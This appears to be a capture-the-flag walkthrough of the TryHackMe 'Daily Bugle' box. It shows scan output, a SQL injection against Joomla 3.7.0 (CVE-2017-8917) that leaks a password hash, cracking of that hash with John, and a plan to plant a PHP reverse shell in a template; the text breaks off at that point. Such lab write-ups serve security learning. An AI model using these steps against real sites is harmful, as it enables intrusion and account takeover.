Skip to main content

Daily Bugle

Box Description

Compromise a Joomla CMS account via SQLi, practice cracking Hashes and escalate your privileges by taking advantage of yum.

NMAP​

  • [SSH: 22] [HTTP: 80] [MySQL: 3306] 
Nmap scan report for 10.10.220.39
Host is up (0.084s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Home
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open  mysql   MariaDB (unauthorized)

FFUF​

  • Joomla Login Portal: [IP:80/administrator]
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.220.39/FUZZ
 :: Wordlist         : FUZZ: Dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

...
administrator           [Status: 301, Size: 242, Words: 14, Lines: 8, Duration: 103ms]
...

Content Discovery​

  • Robots.txt: [IP:80]
nt: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
  • Joomla Login Portal: [IP:80/administrator]
                 Joomla
Username: [                    ][?]
Password: [                    ][?]
                 [Login]
  • Joomla Version: 3.7.0
  • Vulnerable: (CVE-2017-8917) 
<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.6" type="file" method="upgrade">
	<name>files_joomla</name>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2005 - 2017 Open Source Matters. All rights reserved</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<version>3.7.0</version>
	<creationDate>April 2017</creationDate>
	<description>FILES_JOOMLA_XML_DESCRIPTION</description>
</extension>

Exploitation - John​

  • Exploit Used: GitHub
  • Username: jonah
  • HASH: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MFbZhz0jVMw.V.d3p12kBtZutm
[-] Fetching CSRF token
[-] Testing SQLi
-  Found table: fb9j5_users
-  Extracting users from fb9j5_users
[$] Found user [u'811', u'Super User', u'jonah', u'jonah@tryhackme.com', u'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MFbZhz0jVMw.V.d3p12kBtZutm', u'', u'']
-  Extracting sessions from fb9j5_session

  • We can Brute-Force the HASH using John
  • Password: spiderman123
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
spiderman123     (?)

Content Discovery​

  • Joomla: [IP:80/administrator]
  • Using Cracked Credentials to Login: jonah:spiderman123

Joomla

  • In Extensions --> Templates --> Beez3 we can Replace the index.php with a PHP Reverse Shell.
  • Upon Clicking on Template Preview we are going to Receive a Reverse Shell.

Joomla

Joomla